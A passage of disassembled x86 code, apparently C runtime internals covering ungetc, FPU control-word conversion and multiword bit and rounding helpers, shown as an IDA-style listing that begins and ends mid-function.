loc_42CC64: ; CODE XREF: sub_42CB10+142j
mov eax, 1
loc_42CC69: ; CODE XREF: sub_42CB10+4Aj
; sub_42CB10+69j ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42CB10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42CC70 proc near ; CODE XREF: sub_424CA0+9D7p
; sub_424CA0+A65p ...
cmp cl, 40h
jnb short loc_42CC8A
cmp cl, 20h
jnb short loc_42CC80
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_42CC80: ; CODE XREF: sub_42CC70+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_42CC8A: ; CODE XREF: sub_42CC70+3j
xor eax, eax
xor edx, edx
retn
sub_42CC70 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_42CC97: ; CODE XREF: .nsp0:0042CCBFj
cmp dword ptr [ebp+0Ch], 0
jnz short loc_42CCBB
push offset dword_437504
push 0
push 31h
push offset aUngetc_c ; "ungetc.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_42CCBB
int 3 ; Trap to Debugger
loc_42CCBB: ; CODE XREF: .nsp0:0042CC9Bj
; .nsp0:0042CCB8j
xor eax, eax
test eax, eax
jnz short loc_42CC97
mov ecx, [ebp+0Ch]
push ecx
call sub_41ECE0
add esp, 4
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_42CD00
add esp, 8
mov [ebp-4], eax
mov ecx, [ebp+0Ch]
push ecx
call sub_41ED50
add esp, 4
mov eax, [ebp-4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CD00 proc near ; CODE XREF: sub_426140+11p
; .nsp0:0042CCD5p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_42CD07: ; CODE XREF: sub_42CD00+2Fj
cmp [ebp+arg_4], 0
jnz short loc_42CD2B
push offset dword_437514
push 0
push 60h
push offset aUngetc_c ; "ungetc.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_42CD2B
int 3 ; Trap to Debugger
loc_42CD2B: ; CODE XREF: sub_42CD00+Bj
; sub_42CD00+28j
xor eax, eax
test eax, eax
jnz short loc_42CD07
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_42CD67
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 1
test eax, eax
jnz short loc_42CD6F
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_42CD67
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 2
test ecx, ecx
jz short loc_42CD6F
loc_42CD67: ; CODE XREF: sub_42CD00+3Bj
; sub_42CD00+58j
or eax, 0FFFFFFFFh
jmp loc_42CE37
; ---------------------------------------------------------------------------
loc_42CD6F: ; CODE XREF: sub_42CD00+48j
; sub_42CD00+65j
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jnz short loc_42CD84
mov eax, [ebp+var_4]
push eax
call sub_42C2C0
add esp, 4
loc_42CD84: ; CODE XREF: sub_42CD00+76j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov eax, [ecx]
cmp eax, [edx+8]
jnz short loc_42CDAF
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jz short loc_42CDA2
or eax, 0FFFFFFFFh
jmp loc_42CE37
; ---------------------------------------------------------------------------
loc_42CDA2: ; CODE XREF: sub_42CD00+98j
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
loc_42CDAF: ; CODE XREF: sub_42CD00+8Fj
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 40h
test eax, eax
jz short loc_42CDED
mov ecx, [ebp+var_4]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+var_4]
mov [eax], edx
mov ecx, [ebp+var_4]
mov edx, [ecx]
movsx eax, byte ptr [edx]
movsx ecx, byte ptr [ebp+arg_0]
cmp eax, ecx
jz short loc_42CDEB
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
or eax, 0FFFFFFFFh
jmp short loc_42CE37
; ---------------------------------------------------------------------------
loc_42CDEB: ; CODE XREF: sub_42CD00+D7j
jmp short loc_42CE04
; ---------------------------------------------------------------------------
loc_42CDED: ; CODE XREF: sub_42CD00+BAj
mov edx, [ebp+var_4]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov eax, [edx]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
loc_42CE04: ; CODE XREF: sub_42CD00:loc_42CDEBj
mov edx, [ebp+var_4]
mov eax, [edx+4]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx+4], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and al, 0EFh
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov eax, [ebp+arg_0]
and eax, 0FFh
loc_42CE37: ; CODE XREF: sub_42CD00+6Aj
; sub_42CD00+9Dj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42CD00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CE40 proc near ; CODE XREF: sub_426C70+5Ap
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_42CE40 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fstsw word ptr [ebp-4]
mov ax, [ebp-4]
push eax
call sub_42D240
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fnstsw word ptr [ebp-4]
fnclex
mov ax, [ebp-4]
push eax
call sub_42D240
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CE90 proc near ; CODE XREF: sub_42CEE0+10p
var_10 = word ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
fstcw [ebp+var_10]
mov ax, [ebp+var_10]
push eax
call sub_42CF60
add esp, 4
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
and ecx, [ebp+arg_4]
mov edx, [ebp+arg_4]
not edx
mov eax, [ebp+var_8]
and eax, edx
or ecx, eax
mov [ebp+var_C], ecx
mov ecx, [ebp+var_C]
push ecx
call sub_42D0E0
add esp, 4
mov [ebp+var_4], ax
fldcw [ebp+var_4]
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42CE90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CEE0 proc near ; CODE XREF: sub_4271C0+Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
and eax, 0FFF7FFFFh
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42CE90
add esp, 8
pop ebp
retn
sub_42CEE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call sub_42B670
mov eax, [eax]
mov [ebp-4], eax
fninit
call sub_4271C0
cmp dword ptr [ebp-4], 0
jz short loc_42CF51
mov ecx, [ebp-4]
mov edx, [ecx+4]
mov eax, [edx]
and eax, 10008h
test eax, eax
jz short loc_42CF51
mov ecx, [ebp-4]
mov edx, [ecx+4]
add edx, 1Ch
mov [ebp-8], edx
mov eax, [ebp-8]
mov dword ptr [eax+4], 0
mov ecx, [ebp-8]
mov dword ptr [ecx+8], 0FFFFh
loc_42CF51: ; CODE XREF: .nsp0:0042CF1Ej
; .nsp0:0042CF2Fj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CF60 proc near ; CODE XREF: sub_42CE90+12p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1
test eax, eax
jz short loc_42CF85
mov ecx, [ebp+var_4]
or ecx, 10h
mov [ebp+var_4], ecx
loc_42CF85: ; CODE XREF: sub_42CF60+1Aj
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 4
test edx, edx
jz short loc_42CF9D
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_42CF9D: ; CODE XREF: sub_42CF60+33j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 8
test ecx, ecx
jz short loc_42CFB6
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
loc_42CFB6: ; CODE XREF: sub_42CF60+4Bj
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jz short loc_42CFCE
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
loc_42CFCE: ; CODE XREF: sub_42CF60+63j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 20h
test edx, edx
jz short loc_42CFE6
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
loc_42CFE6: ; CODE XREF: sub_42CF60+7Cj
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 2
test ecx, ecx
jz short loc_42D002
mov edx, [ebp+var_4]
or edx, 80000h
mov [ebp+var_4], edx
loc_42D002: ; CODE XREF: sub_42CF60+94j
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 0C00h
mov [ebp+var_8], eax
cmp [ebp+var_8], 800h
jg short loc_42D035
cmp [ebp+var_8], 800h
jz short loc_42D048
cmp [ebp+var_8], 0
jz short loc_42D040
cmp [ebp+var_8], 400h
jz short loc_42D053
jmp short loc_42D067
; ---------------------------------------------------------------------------
loc_42D035: ; CODE XREF: sub_42CF60+B9j
cmp [ebp+var_8], 0C00h
jz short loc_42D05E
jmp short loc_42D067
; ---------------------------------------------------------------------------
loc_42D040: ; CODE XREF: sub_42CF60+C8j
mov ecx, [ebp+var_4]
mov [ebp+var_4], ecx
jmp short loc_42D067
; ---------------------------------------------------------------------------
loc_42D048: ; CODE XREF: sub_42CF60+C2j
mov edx, [ebp+var_4]
or dh, 2
mov [ebp+var_4], edx
jmp short loc_42D067
; ---------------------------------------------------------------------------
loc_42D053: ; CODE XREF: sub_42CF60+D1j
mov eax, [ebp+var_4]
or ah, 1
mov [ebp+var_4], eax
jmp short loc_42D067
; ---------------------------------------------------------------------------
loc_42D05E: ; CODE XREF: sub_42CF60+DCj
mov ecx, [ebp+var_4]
or ch, 3
mov [ebp+var_4], ecx
loc_42D067: ; CODE XREF: sub_42CF60+D3j
; sub_42CF60+DEj ...
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 300h
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jz short loc_42D0A9
cmp [ebp+var_C], 200h
jz short loc_42D09B
cmp [ebp+var_C], 300h
jz short loc_42D093
jmp short loc_42D0B5
; ---------------------------------------------------------------------------
loc_42D093: ; CODE XREF: sub_42CF60+12Fj
mov eax, [ebp+var_4]
mov [ebp+var_4], eax
jmp short loc_42D0B5
; ---------------------------------------------------------------------------
loc_42D09B: ; CODE XREF: sub_42CF60+126j
mov ecx, [ebp+var_4]
or ecx, 10000h
mov [ebp+var_4], ecx
jmp short loc_42D0B5
; ---------------------------------------------------------------------------
loc_42D0A9: ; CODE XREF: sub_42CF60+11Dj
mov edx, [ebp+var_4]
or edx, 20000h
mov [ebp+var_4], edx
loc_42D0B5: ; CODE XREF: sub_42CF60+131j
; sub_42CF60+139j ...
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1000h
test eax, eax
jz short loc_42D0D2
mov ecx, [ebp+var_4]
or ecx, 40000h
mov [ebp+var_4], ecx
loc_42D0D2: ; CODE XREF: sub_42CF60+164j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42CF60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D0E0 proc near ; CODE XREF: sub_42CE90+36p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 10h
test eax, eax
jz short loc_42D101
mov cx, [ebp+var_4]
or cl, 1
mov [ebp+var_4], cx
loc_42D101: ; CODE XREF: sub_42D0E0+14j
mov edx, [ebp+arg_0]
and edx, 8
test edx, edx
jz short loc_42D115
mov ax, [ebp+var_4]
or al, 4
mov [ebp+var_4], ax
loc_42D115: ; CODE XREF: sub_42D0E0+29j
mov ecx, [ebp+arg_0]
and ecx, 4
test ecx, ecx
jz short loc_42D12A
mov dx, [ebp+var_4]
or dl, 8
mov [ebp+var_4], dx
loc_42D12A: ; CODE XREF: sub_42D0E0+3Dj
mov eax, [ebp+arg_0]
and eax, 2
test eax, eax
jz short loc_42D13F
mov cx, [ebp+var_4]
or cl, 10h
mov [ebp+var_4], cx
loc_42D13F: ; CODE XREF: sub_42D0E0+52j
mov edx, [ebp+arg_0]
and edx, 1
test edx, edx
jz short loc_42D153
mov ax, [ebp+var_4]
or al, 20h
mov [ebp+var_4], ax
loc_42D153: ; CODE XREF: sub_42D0E0+67j
mov ecx, [ebp+arg_0]
and ecx, 80000h
test ecx, ecx
jz short loc_42D16B
mov dx, [ebp+var_4]
or dl, 2
mov [ebp+var_4], dx
loc_42D16B: ; CODE XREF: sub_42D0E0+7Ej
mov eax, [ebp+arg_0]
and eax, 300h
mov [ebp+var_8], eax
cmp [ebp+var_8], 200h
ja short loc_42D199
cmp [ebp+var_8], 200h
jz short loc_42D1AE
cmp [ebp+var_8], 0
jz short loc_42D1A4
cmp [ebp+var_8], 100h
jz short loc_42D1BB
jmp short loc_42D1D3
; ---------------------------------------------------------------------------
loc_42D199: ; CODE XREF: sub_42D0E0+9Dj
cmp [ebp+var_8], 300h
jz short loc_42D1C8
jmp short loc_42D1D3
; ---------------------------------------------------------------------------
loc_42D1A4: ; CODE XREF: sub_42D0E0+ACj
mov cx, [ebp+var_4]
mov [ebp+var_4], cx
jmp short loc_42D1D3
; ---------------------------------------------------------------------------
loc_42D1AE: ; CODE XREF: sub_42D0E0+A6j
mov dx, [ebp+var_4]
or dh, 8
mov [ebp+var_4], dx
jmp short loc_42D1D3
; ---------------------------------------------------------------------------
loc_42D1BB: ; CODE XREF: sub_42D0E0+B5j
mov ax, [ebp+var_4]
or ah, 4
mov [ebp+var_4], ax
jmp short loc_42D1D3
; ---------------------------------------------------------------------------
loc_42D1C8: ; CODE XREF: sub_42D0E0+C0j
mov cx, [ebp+var_4]
or ch, 0Ch
mov [ebp+var_4], cx
loc_42D1D3: ; CODE XREF: sub_42D0E0+B7j
; sub_42D0E0+C2j ...
mov edx, [ebp+arg_0]
and edx, 30000h
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jz short loc_42D1F9
cmp [ebp+var_C], 10000h
jz short loc_42D206
cmp [ebp+var_C], 20000h
jz short loc_42D213
jmp short loc_42D21B
; ---------------------------------------------------------------------------
loc_42D1F9: ; CODE XREF: sub_42D0E0+103j
mov ax, [ebp+var_4]
or ah, 3
mov [ebp+var_4], ax
jmp short loc_42D21B
; ---------------------------------------------------------------------------
loc_42D206: ; CODE XREF: sub_42D0E0+10Cj
mov cx, [ebp+var_4]
or ch, 2
mov [ebp+var_4], cx
jmp short loc_42D21B
; ---------------------------------------------------------------------------
loc_42D213: ; CODE XREF: sub_42D0E0+115j
mov dx, [ebp+var_4]
mov [ebp+var_4], dx
loc_42D21B: ; CODE XREF: sub_42D0E0+117j
; sub_42D0E0+124j ...
mov eax, [ebp+arg_0]
and eax, 40000h
test eax, eax
jz short loc_42D232
mov cx, [ebp+var_4]
or ch, 10h
mov [ebp+var_4], cx
loc_42D232: ; CODE XREF: sub_42D0E0+145j
mov ax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42D0E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D240 proc near ; CODE XREF: .nsp0:0042CE60p
; .nsp0:0042CE81p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1
test eax, eax
jz short loc_42D263
mov ecx, [ebp+var_4]
or ecx, 10h
mov [ebp+var_4], ecx
loc_42D263: ; CODE XREF: sub_42D240+18j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 4
test edx, edx
jz short loc_42D27B
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_42D27B: ; CODE XREF: sub_42D240+31j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 8
test ecx, ecx
jz short loc_42D294
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
loc_42D294: ; CODE XREF: sub_42D240+49j
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jz short loc_42D2AC
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
loc_42D2AC: ; CODE XREF: sub_42D240+61j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 20h
test edx, edx
jz short loc_42D2C4
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
loc_42D2C4: ; CODE XREF: sub_42D240+7Aj
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 2
test ecx, ecx
jz short loc_42D2E0
mov edx, [ebp+var_4]
or edx, 80000h
mov [ebp+var_4], edx
loc_42D2E0: ; CODE XREF: sub_42D240+92j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42D240 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D2F0 proc near ; CODE XREF: sub_42D430+70p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_42D314
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_42D314: ; CODE XREF: sub_42D2F0+1Dj
mov ecx, 1Fh
sub ecx, eax
mov [ebp+var_4], ecx
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_4]
shl edx, cl
not edx
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
and edx, [ebp+var_8]
test edx, edx
jz short loc_42D33F
xor eax, eax
jmp short loc_42D370
; ---------------------------------------------------------------------------
loc_42D33F: ; CODE XREF: sub_42D2F0+49j
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42D353
; ---------------------------------------------------------------------------
loc_42D34A: ; CODE XREF: sub_42D2F0:loc_42D369j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_42D353: ; CODE XREF: sub_42D2F0+58j
cmp [ebp+var_C], 3
jge short loc_42D36B
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
cmp dword ptr [eax+edx*4], 0
jz short loc_42D369
xor eax, eax
jmp short loc_42D370
; ---------------------------------------------------------------------------
loc_42D369: ; CODE XREF: sub_42D2F0+73j
jmp short loc_42D34A
; ---------------------------------------------------------------------------
loc_42D36B: ; CODE XREF: sub_42D2F0+67j
mov eax, 1
loc_42D370: ; CODE XREF: sub_42D2F0+4Dj
; sub_42D2F0+77j
mov esp, ebp
pop ebp
retn
sub_42D2F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D380 proc near ; CODE XREF: sub_42D430+84p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_42D3A4
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_42D3A4: ; CODE XREF: sub_42D380+1Dj
mov ecx, 1Fh
sub ecx, eax
mov [ebp+var_4], ecx
mov edx, 1
mov ecx, [ebp+var_4]
shl edx, cl
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*4]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
push eax
call sub_430FE0
add esp, 0Ch
mov [ebp+var_10], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
jmp short loc_42D3F2
; ---------------------------------------------------------------------------
loc_42D3E9: ; CODE XREF: sub_42D380+9Fj
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_42D3F2: ; CODE XREF: sub_42D380+67j
cmp [ebp+var_C], 0
jl short loc_42D421
cmp [ebp+var_10], 0
jz short loc_42D421
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*4]
push edx
push 1
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
push edx
call sub_430FE0
add esp, 0Ch
mov [ebp+var_10], eax
jmp short loc_42D3E9
; ---------------------------------------------------------------------------
loc_42D421: ; CODE XREF: sub_42D380+76j
; sub_42D380+7Cj
mov eax, [ebp+var_10]
mov esp, ebp
pop ebp
retn
sub_42D380 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D430 proc near ; CODE XREF: sub_42D6C0+ABp
; sub_42D6C0+132p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_18], 0
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_14], eax
mov edx, [ebp+var_C]
and edx, 8000001Fh
jns short loc_42D46E
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_42D46E: ; CODE XREF: sub_42D430+37j
mov eax, 1Fh
sub eax, edx
mov [ebp+var_8], eax
mov edx, 1
mov ecx, [ebp+var_8]
shl edx, cl
mov [ebp+var_1C], edx
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
and edx, [ebp+var_1C]
test edx, edx
jz short loc_42D4BF
mov eax, [ebp+var_C]
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42D2F0
add esp, 8
test eax, eax
jnz short loc_42D4BF
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42D380
add esp, 8
mov [ebp+var_18], eax
loc_42D4BF: ; CODE XREF: sub_42D430+63j
; sub_42D430+7Aj
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_8]
shl edx, cl
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov eax, [ecx+eax*4]
and eax, edx
mov ecx, [ebp+var_14]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], eax
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_10], eax
jmp short loc_42D4EF
; ---------------------------------------------------------------------------
loc_42D4E6: ; CODE XREF: sub_42D430+D2j
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_42D4EF: ; CODE XREF: sub_42D430+B4j
cmp [ebp+var_10], 3
jge short loc_42D504
mov edx, [ebp+var_10]
mov eax, [ebp+arg_0]
mov dword ptr [eax+edx*4], 0
jmp short loc_42D4E6
; ---------------------------------------------------------------------------
loc_42D504: ; CODE XREF: sub_42D430+C3j
mov eax, [ebp+var_18]
mov esp, ebp
pop ebp
retn
sub_42D430 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D510 proc near ; CODE XREF: sub_42D6C0+98p
; sub_42D6C0+10Fp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
mov [ebp+var_C], 0
jmp short loc_42D534
; ---------------------------------------------------------------------------
loc_42D52B: ; CODE XREF: sub_42D510+46j
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_42D534: ; CODE XREF: sub_42D510+19j
cmp [ebp+var_C], 3
jge short loc_42D558
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp short loc_42D52B
; ---------------------------------------------------------------------------
loc_42D558: ; CODE XREF: sub_42D510+28j
mov esp, ebp
pop ebp
retn
sub_42D510 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D560 proc near ; CODE XREF: sub_42D6C0+7Cp
; sub_42D6C0+D5p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_42D576
; ---------------------------------------------------------------------------
loc_42D56D: ; CODE XREF: sub_42D560+29j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42D576: ; CODE XREF: sub_42D560+Bj
cmp [ebp+var_4], 3
jge short loc_42D58B
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx*4], 0
jmp short loc_42D56D
; ---------------------------------------------------------------------------
loc_42D58B: ; CODE XREF: sub_42D560+1Aj
mov esp, ebp
pop ebp
retn
sub_42D560 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D590 proc near ; CODE XREF: sub_42D6C0+63p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_42D5A6
; ---------------------------------------------------------------------------
loc_42D59D: ; CODE XREF: sub_42D590:loc_42D5BCj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42D5A6: ; CODE XREF: sub_42D590+Bj
cmp [ebp+var_4], 3
jge short loc_42D5BE
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
cmp dword ptr [edx+ecx*4], 0
jz short loc_42D5BC
xor eax, eax
jmp short loc_42D5C3
; ---------------------------------------------------------------------------
loc_42D5BC: ; CODE XREF: sub_42D590+26j
jmp short loc_42D59D
; ---------------------------------------------------------------------------
loc_42D5BE: ; CODE XREF: sub_42D590+1Aj
mov eax, 1
loc_42D5C3: ; CODE XREF: sub_42D590+2Aj
mov esp, ebp
pop ebp
retn
sub_42D590 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D5D0 proc near ; CODE XREF: sub_42D6C0+11Fp
; sub_42D6C0+148p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_18], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_42D5F5
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_42D5F5: ; CODE XREF: sub_42D5D0+1Ej
